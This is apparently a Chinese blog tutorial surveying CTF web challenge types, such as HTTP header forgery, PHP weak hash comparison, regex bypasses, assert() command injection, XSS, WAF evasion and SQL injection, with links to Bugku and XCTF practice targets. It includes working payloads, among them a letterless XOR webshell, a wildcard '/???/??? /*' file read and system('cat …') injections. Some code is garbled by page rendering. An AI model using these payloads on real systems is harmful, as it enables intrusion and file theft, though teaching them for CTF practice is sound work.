CTF中Web题目的常见题型及解题姿势,(非常详细)零基础入门到精通,收藏这篇就够了

【安全攻防知识-7】CTF之web(1) ctf-web题型总结 阅读详情

一、基础知识类题目

考察基本的查看网页源代码、HTTP请求、修改页面元素等。

这些题很简单,比较难的比赛应该不会单独出,就算有应该也是Web的签到题。

实际做题的时候基本都是和其他更复杂的知识结合起来出现。

姿势:恶补基础知识就行

查看网页源代码

按F12就都看到了,flag一般都在注释里,有时候注释里也会有一条hint或者是对解题有用的信息。

  • Bugku web2: http://123.206.87.240:8002/web2/

  • Bugku web3: http://123.206.87.240:8002/web3/


发送HTTP请求

可以用hackbar,有的也可以写脚本。

  • Bugku web基础$_GET: http://123.206.87.240:8002/get/

  • Bugku web基础$_POST: http://123.206.87.240:8002/post/

  • Bugku 点击一百万次: http://123.206.87.240:9001/test/

举个写脚本的例子(题目是Bugku web基础$_POST):

import requests``r = requests.post('http://123.206.87.240:8002/post/', data={'what' : 'flag'})``print(r.text)

不常见类型的请求发送

以前做过一道题考OPTIONS请求,可惜题目找不到了,而且那题也不算很基础。

不过如果要发送这类请求,写一个脚本应该就能解决了。

二、HTTP头相关的题目

主要是查看和修改HTTP头。

目前做过的Web题目有很大一部分都是与HTTP头相关的,而且这种题目也相当常见,不和其他知识结合的情况下也算是属于基础题的范畴吧。

姿势:不同的类型有不同的利用方法,基本都离不开抓包改包,有些简单的也可以利用浏览器F12的网络标签解决。但是最根本的应对策略,是熟悉一些常见请求头的格式、作用等,这样题目考到的时候就很容易知道要怎样做了。

查看响应头

有时候响应头里会有hint或者题目的关键信息,也有的时候会直接把flag放在响应头里给你,但是直接查看响应头拿flag的题目并不多,因为太简单了。

只是查看的话,可以不用抓包,用F12的“网络”标签就可以解决了。

  • Bugku 头等舱: http://123.206.87.240:9009/hd.php

修改请求头、伪造Cookie

常见的有set-cookie、XFF和Referer,总之考法很灵活,做法比较固定,知道一些常见的请求头再根据题目随机应变就没问题了。

有些题目还需要伪造Cookie,根据题目要求做就行了。

可以用BurpSuite抓包,也可以直接在浏览器的F12“网络”标签里改。

  • 实验吧 头有点大: http://ctf5.shiyanbar.com/sHeader/

  • Bugku 程序员本地网站: http://123.206.87.240:8002/localhost/

  • Bugku 管理员系统: http://123.206.31.85:1003/

  • XCTF xff_referer:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5068

===

三、Git源码泄露

flag一般在源码的某个文件里,但也有和其他知识结合、需要进一步利用的情况,比如XCTF社区的mfw这道题。

姿势:GitHack一把梭

  • XCTF mfw: https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5002

===

四、Python爬虫信息处理

这类题目一般都是给一个页面,页面中有算式或者是一些数字,要求在很短的时间内求出结果并提交,如果结果正确就可以返回flag。

因为所给时间一般都很短而且计算比较复杂,所以只能写脚本。这种题目的脚本一般都需要用到requests库和BeautifulSoup库(或者re库(正则表达式)),个人感觉使用BeautifulSoup简单一些。

姿势:requests库和BeautifulSoup库熟练掌握后,再多做几道题或者写几个爬虫的项目,一般这类题目就没有什么问题了。主要还是对BeautifulSoup的熟练掌握,另外还需要一点点web前端(HTML)的知识。

  • Bugku 秋名山老司机: http://123.206.87.240:8002/qiumingshan/

#这道题的脚本如下,还可以继续优化

#经常出现执行了但是不弹flag的情况,多试几次就行了  

from bs4 import BeautifulSoup``import requests``r = requests.Session()``s = r.get("http://123.206.87.240:8002/qiumingshan/")``s.encoding = 'utf-8'``text = s.text``soup = BeautifulSoup(text)``tag = soup.div``express = str(tag.string)``express = express[0 : -3]``answer = eval(express)``ans = {"value" : answer}``flag = r.post('http://123.206.87.240:8002/qiumingshan/', data = ans)``print(flag.text)
  • 实验吧 速度爆破: http://www.shiyanbar.com/ctf/1841

HGAME2019的部分题目似乎还出现了反爬虫措施,但当时我还不会写爬虫,那一道题目也没有做,所以也不大清楚,以后如果再遇到那类题目再慢慢补上吧。

五、PHP代码审计

代码审计覆盖面特别广,分类也很多,而且几乎什么样的比赛都会有,算是比较重要的题目类型之一吧。

姿势:具体问题具体分析,归根结底还是要熟练掌握PHP这门语言,了解一些常见的会造成漏洞的函数及利用方法等。

六、hash加密相关

PHP弱类型hash比较缺陷

这是代码审计最基础的题目了,也比较常见。

典型代码:

if(md5($a) == md5($b)) {    //注意两个等号“==”`    `echo $flag;``}
  

加密函数也有可能是sha1或者其他的,但是原理都是不变的。

这个漏洞的原理如下:

== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较。0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

所以只要让a和b在经过相应的函数加密之后都是以0e开头就可以。

以下是一些md5加密后开头为0e的字符串:

QNKCDZO0e830400451993494058024219903391``   ``s878926199a``0e545993274517709034328855841020`  `s155964671a``0e342768416822451524974117254469`  `s214587387a``0e848240448830537924465865611904`  `s214587387a``0e848240448830537924465865611904`  `s878926199a``0e545993274517709034328855841020`  `s1091221200a``0e940624217856561557816327384675`  `s1885207154a``0e509367213418206700842008763514``   ``aabg7XSs

另外,这个也可以用数组绕过,这个方法在下面会详细说。

数组返回NULL绕过

PHP绝大多数函数无法处理数组,向md5函数传入数组类型的参数会使md5()函数返回NULL(转换后为False),进而绕过某些限制。

如果上面的代码变成:

if(md5($a) === md5($b)) {       //两个等号变成三个`    `echo $flag;``}

那么利用弱类型hash比较缺陷将无法绕过,这时可以使用数组绕过。

传入?a[]=1&b[]=2就可以成功绕过判断。

这样的方法也可以用来绕过sha1()等hash加密函数相关的判断,也可以绕过正则判断,可以根据具体情况来灵活运用。

七、正则表达式相关

ereg正则%00截断

ereg函数存在NULL截断漏洞,使用NULL可以截断过滤,所以可以使用%00截断正则匹配。

  • Bugku ereg正则%00截断:http://123.206.87.240:9009/5.php

数组绕过

正则表达式相关的函数也可以使用数组绕过过滤,绕过方法详见数组返回NULL绕过。

上面那道题也可以用数组绕过。

单引号绕过preg_match()正则匹配

在每一个字符前加上单引号可以绕过preg_match的匹配,原理暂时不明。

例如有如下代码:

<?php`    `$p = $_GET['p'];`    `if (preg_match('/[0-9a-zA-Z]{2}/',$p) === 1) {`        `echo 'False';`    `} else {`        `$pp = trim(base64_decode($p));`        `if ($pp === 'flag.php') {`            `echo 'success';`        `}`    `}``?>

payload:p=‘Z’m’x’h’Z’y’5’w’a’H’A’=

不含数字与字母的WebShell

如果题目使用preg_match()过滤掉了所有的数字和字母,但是没有过滤PHP的变量符号$,可以考虑使用这种方法。

典型代码:

<?php``   ``include'flag.php';``   ``if(isset($_GET['code'])){`   `$code=$_GET['code'];`   `if(strlen($code)>50){`       `die("Too Long.");`  `}`   `if(preg_match("/[A-Za-z0-9_]+/",$code)){`       `die("Not Allowed.");`  `}`   `@eval($code);``}else{`   `highlight_file(__FILE__);``}``//$hint = "php function getFlag() to get flag";``?>

这种方法的核心是字符串的异或操作。

爆破脚本:

chr1 = \['@', '!', '"', '#', '$', '%', '&', '\\'', '(', ')', '\*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '\[', '\\\\', '\]', '^', '\_', '\`', '{', '|', '}', '~'\]  
chr2 = \['@', '!', '"', '#', '$', '%', '&', '\\'', '(', ')', '\*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '\[', '\\\\', '\]', '^', '\_', '\`', '{', '|', '}', '~'\]  
  
for i in chr1 :  
    for j in chr2 :  

print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))

  
根据题目的要求,用异或出来的字符串拼出合适的Payload,并放在PHP变量中执行。变量名可以用中文。  



比如这道题的Payload:?code=KaTeX parse error: Double superscript at position 14: 啊="@@^|@@@"^"'̲%\*:,!'";啊();

Linux通配符绕过正则匹配

典型代码如下,与前一种题目非常相似,但也不大一样:

<?php``   ``if(isset($_GET['code'])){`   `$code=$_GET['code'];`   `if(strlen($code)>50){`       `die("Too Long.");`  `}`   `if(preg_match("/[A-Za-z0-9_$]+/",$code)){`       `die("Not Allowed.");`  `}`   `@eval($code);``}else{`   `highlight_file(__FILE__);``}``//flag in /``?>
  

最主要的区别就是过滤了 和 _ ,也就是说无法使用变量符号 和\_,也就是说无法使用变量符号 和_,也就是说无法使用变量符号了。

这时候可以考虑采用通配符绕过。

通配符有点像正则表达式,有自己的匹配规则,看这张图:

所以构造一下通配符就是/???/??? /*。

因为过滤了变量符号,没法通过上面那种方法来执行了。但是,可以通过闭合PHP标记来执行,也就是:?><?=/???/??? /\*?>(/bin/cat /*)。

所以本题的payload为:?code=?><?=/???/??? /\*?>

具体解法可以参照此篇文章的前两道题目:https://www.jianshu.com/p/ecc2414ec110

八、命令执行漏洞

assert()函数引起的命令执行

assert函数的参数为字符串时,会将字符串当做PHP命令来执行。

例如:assert(‘phpinfo()’)相当于执行<?php phpinfo() ?>

以一道题目为例:

本题目中题目文件夹下放置了一个隐藏的flag文件。

<?php``error_reporting(0);``if (isset($_GET['file'])) {`    `if($_GET['file'] === "flag"){`        `highlight_file("flag.php");`    `}else{`        `$page = $_GET['file'];`    `}``} else {`    `$page = "./flag.php";``}``   ``assert("file_exists('$page')");``?>

解法:

构造闭合 file_exists()函数,并使assert()执行恶意代码。

Linux命令ls -a可用于查看该目录下所有文件,包括隐藏文件。

payload:

  1. ?file=123’) or system(‘ls -a’);#

  2. ?file=123’) or system(‘cat .ffll44gg’);#

九、XSS题目

==============

这类题目会涉及到三种XSS类型,具体类型要根据题目来判断。一般都是向后台发送一个带有XSS Payload的文本,在返回的Cookie中含有flag,解法是在XSS Payload。

这类题目一般都会带有过滤和各种限制,需要了解一些常用的绕过方法。

姿势:XSS归根结底还是JavaScript,JavaScript的威力有多大,XSS的威力就有多大。要知道一些常用的XSS Payload,还要把三类XSS的原理弄明白。做题时需要用到XSS平台,网上有公用的,也可以自己在VPS上搭一个。

  • JavisOJ babyxss:http://web.jarvisoj.com:32800/

===

十、绕过waf

其实绝大多数比较难的题目多多少都会对输入有过滤,毕竟在现实的网络中肯定是会对输入进行限制的,但是这里还是把过滤单独列出来了。

姿势:多掌握一些不同的绕过方法。

长度限制

有些题目会要求输入较长的文本,但对文本的长度进行了限制。

对于这种题目,既可以用BurpSuite抓包改包绕过,也可以直接在F12里改页面源代码。

  • Bugku 计算器(修改页面源代码):http://123.206.87.240:8002/yanzhengma/

  • DVWA 存储型XSS的标题栏会对长度进行限制,使用BurpSuite抓包绕过。


双写

双写可以绕过对输入内容过滤的单次判断,在XSS、SQL注入和PHP代码审计的题目中比较常见。

双写顾名思义就是将被过滤的关键字符写两遍,比如,如果要添加XSS Payload,又需要插入

这样的方法不仅对XSS有用,也可以用于代码审计和SQL注入。

HGAME2019有一道XSS题目就是过滤了

等价替代

就是不用被过滤的字符,而使用没有被过滤却会产生相同效果的字符。

比如,如果SQL注入题目中过滤了空格,可以用/**/绕过对空格的限制;XSS题目如果过滤了

  • 实验吧 简单的SQL注入:http://www.shiyanbar.com/ctf/1875

URL编码绕过

如果过滤了某个必须要用的字符串,输入的内容是以GET方式获取的(也就是直接在地址栏中输入),可以采用url编码绕过的方式。比如,过滤了 cat,可以使用 c%61t来绕过。

Linux命令使用反斜杠绕过

在Linux下,命令中加入反斜杠与原命令完全等价。例如,cat与 ca\t两条命令等价,效果完全相同。

可以利用这个特性来进行一些绕过操作(当然,这个仅限于命令执行漏洞)。

URL二次解码绕过

这个类型本来应该放在代码审计里面,但是既然是一种绕过过滤的姿势,就写在这里了。

如果源码中出现了urldecode()函数,可以利用url二次解码来绕过。

Bugku urldecode二次编码绕过:http://123.206.87.240:9009/10.php


数组绕过

详见PHP代码审计的“数组返回NULL”绕过。

数组绕过的应用很广,很多题目都可以用数组绕过。

十一、SQL注入

SQL注入是一种灵活而复杂的攻击方式,归根结底还是考察对SQL语言的了解和根据输入不同数据网页的反应对后台语句的判断,当然也有sqlmap这样的自动化工具可以使用。

姿势:如果不用sqlmap或者是用不了,就一定要把SQL语言弄明白,sqlmap这样的自动化工具也可以使用。

​ 为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]


在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
在这里插入图片描述

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]

ctf-web--总结几点基础题的做题思路 做了三天web题了,因为刚入门,还是不要做得太快,先把前几天学到的好好总结一下,一部分是做的几道bugku上的web题,一部分是合天网安上面做的几道web题,这篇博客就先介绍第一部分。 1. 看源码可以右键->【查看网页源代码】,也可以用火狐和谷歌浏览器的按F12键,按F12键可以修改html源代码方便构造一些值提交,但如果不需要的话直接右键查看源代码更直观,看网页里面的注释之类的都很方便。 2. 阅读详情

相关推荐

CTF解题-web类

记录的一些CTFweb题目~~~

qq_42936836的博客 6254

CTF中Web各种题目的解题姿势

Web题型是CTF中常考题型之一,它将实际渗透过程中的技术技巧转化为CTF赛题,主要考察选手在Web渗透技术方面的能力,由于Web渗透涉及的知识点较多,知识面比较广泛,因此系统的总结和练习Web类题,是快速掌握出题人思路的一种有效的方法。

Python+OpenCV实现游戏自动刷怪脚本(附完整代码)

本文详细介绍了如何使用Python和OpenCV开发游戏自动刷怪脚本,涵盖环境搭建、图像识别、行为决策引擎及反检测优化等关键技术。通过完整的代码示例,帮助开发者实现从简单脚本到智能自动化系统的升级,提升游戏效率。

weixin_29032489的博客 520

CTF中Web题目的各种基础的思路-----入门篇十分的详细

想学习CTF-web这里给你一个思路,给你一个方向

m0_64815693的博客 5万+

数据库行转列的sql语句

 问题描述假设有张学生成绩表(CJ)如下Name Subject Result张三 语文 80张三 数学 90张三 物理 85李四 语文 85李四 数学 92李四 物理 82现在 想写  sql 语句     查询后结果 为    姓名 语文 数学 物理张三 80 90 85李四 85 92 82       该怎么实现 ?研究意义        这是个并不复杂的问题,但却是数

jb303的专栏 2248

数理逻辑1 -- 命题演算1

一直对逻辑的东西很感兴趣,尤其最近做的东西和AI相关,因此下定决心系统地学习数理逻辑。这些笔记并不是严谨的描述,只是作为一些概念的快速参考,以及加入一些个人认为好玩的公式、定理和推导。 简单来说,数理逻辑系统是由一串“符号”组成的系统,基本元素是那一堆“符号”,由“符号”组成“式子”。逻辑系统并不关心“式子”是否对错,只关心“式子”是否存在,也即是假定存在某些“式子“,再确定”推导规则“(Rule

Jason渣神的专栏 1831

CTF中Web题目的常见题型及解题姿势,零基础入门到精通,收藏这篇就够了

考察基本的查看网页源代码、HTTP请求、修改页面元素等。这些题很简单,比较难的比赛应该不会单独出,就算有应该也是Web的签到题。实际做题的时候基本都是和其他更复杂的知识结合起来出现。按F12就都看到了,flag一般都在注释里,有时候注释里也会有一条hint或者是对解题有用的信息。可以用hackbar,有的也可以写脚本。Bugku web基础$_GET: http://123.206.87.240:8002/get/

Libra1313的博客 5970

STM32G474串口调试避坑指南:从CubeMX配置到中断收发,手把手教你搞定USART1

本文详细解析了STM32G474串口调试中的常见问题,从CubeMX配置到中断收发,提供USART1的避坑指南。涵盖时钟树同步、GPIO模式选择、中断接收逻辑、波特率偏差修正等关键点,帮助开发者高效解决串口通讯难题,提升嵌入式开发效率。

weixin_29191081的博客 210

CTF中Web题目的常见题型及解题方法

双写顾名思义就是将被过滤的关键字符写两遍,比如,如果要添加XSS Payload,又需要插入标签,就可以构造如下的Payload:来绕过对标签的单次过滤限制。如果过滤了某个必须要用的字符串,输入的内容是以GET方式获取的(也就是直接在地址栏中输入),可以采用url编码绕过的方式。SQL注入是一种灵活而复杂的攻击方式,归根结底还是考察对SQL语言的了解和根据输入不同数据网页的反应对后台语句的判断,当然也有sqlmap这样的自动化工具可以使用。

徐徐徐的博客 5778

AI办公Agent技术:文档与表格智能处理实践

办公自动化技术正从规则驱动转向语义理解,大语言模型(LLM)为办公Agent赋予了智能决策能力。这类系统通过五层架构整合自然语言处理、工具API调用和任务规划引擎,能自动完成文档分类、表格分析等高重复性工作。关键技术包括基于TF-IDF和BERT的特征提取、Excel公式自动生成等,在财务报告、法律审查等场景可实现90%以上的效率提升。随着多模态能力和领域专业化发展,办公Agent正在重塑企业文档处理流程,成为数字化转型的核心基础设施。

weixin_30263277的博客 519

Python爬虫-爬取汽车之家各品牌周销量榜数据,进行数据分析

本文是该专栏的第57篇,后面会持续分享python爬虫干货知识。本文中,笔者已经整理20篇汽车平台相关的爬虫项目案例。对此感兴趣的同学,可以直接翻阅查看。同样,笔者在本文中将继续以汽车之家平台为例子。基于Python爬虫,实现批量爬取“各品牌周销量榜单”的数据。废话不多说,具体实现思路和详细逻辑,笔者将在正文结合完整代码进行详细介绍。接下来,跟着笔者直接往下看正文详细内容。(附带完整代码)

Python进阶专栏《爬虫实战进阶》,《Pyppeteer从入门到精通》原创作者 365

CTF中Web题目的常见题型及解题姿势,零基础入门到精通,收藏这篇就够了_ctf web常见题型

考察基本的查看网页源代码、HTTP请求、修改页面元素等。这些题很简单,比较难的比赛应该不会单独出,就算有应该也是Web的签到题。实际做题的时候基本都是和其他更复杂的知识结合起来出现。按F12就都看到了,flag一般都在注释里,有时候注释里也会有一条hint或者是对解题有用的信息。可以用hackbar,有的也可以写脚本。Bugku web基础$_GET: http://123.206.87.240:8002/get/

十年网络攻防经验 每天分享网络安全知识 2028

医疗影像配准与融合: 使用MATLAB对医学影像进行配准和融合,实现不同影像模态之间的对准和结构信息融合等

医疗影像配准与融合是医学影像处理的重要技术,它用于将不同来源、不同时间或不同模态的医学影像进行配准和融合,以获得更加完整、准确的患者解剖信息。基于MATLAB的医疗影像配准与融合可以帮助医生更准确地诊断疾病,制定更有效的治疗方案。医疗影像配准与融合是医学影像处理的关键技术,它对于提高医学影像诊断和治疗的准确性至关重要。MATLAB是一种功能强大的数学和科学计算软件,它可以为医疗影像配准与融合提供强大的工具和支持。

走向CTO的路上... 713

【CTF 】CTF入门到精通,收藏这篇就够了

CTF,即 Capture The Flag,中文名为夺旗赛,是一种网络安全技术人员之间进行技术竞技的比赛形式。在 CTF 比赛中,参赛者需要通过解决各种与网络安全相关的技术挑战来获取“旗帜”,这些挑战通常涵盖了多个领域的知识和技能,例如密码学、Web 安全、逆向工程、漏洞挖掘与利用、隐写术、二进制分析等等。比如说,在密码学相关的挑战中,可能需要参赛者破解加密的信息或算法来获取关键线索;Web 安全挑战可能要求找出网站存在的漏洞并加以利用;逆向工程则可能涉及对未知软件或程序的分析和理解。

Cairo_A的博客 8060

OpenClaw与大语言模型(Claude/GPT/MiniMax)的集成架构与最优配置策略

摘要 本文探讨了OpenClaw框架与大语言模型(Claude/GPT/MiniMax)的集成架构与优化策略。大语言模型具有强大的自然语言处理能力,但集成面临API成本、响应延迟、上下文管理等挑战。OpenClaw采用分层架构设计,包括用户界面层、对话管理层、提示工程层、模型适配层和API调用层,支持多模型切换、智能对话管理和成本控制。系统通过模型适配层实现不同API的统一调用,并提供缓存、监控等优化机制。该集成方案能够充分发挥大语言模型的优势,为本地AI助理提供更智能的服务。

一键难忘的博客 1693

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

上一篇: 网络安全与恶意攻击:如何应对?(非常详细)零基础入门到精通,收藏这一篇就够了
下一篇: 什么是大模型?(非常详细)零基础入门到精通,收藏这一篇就够了
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值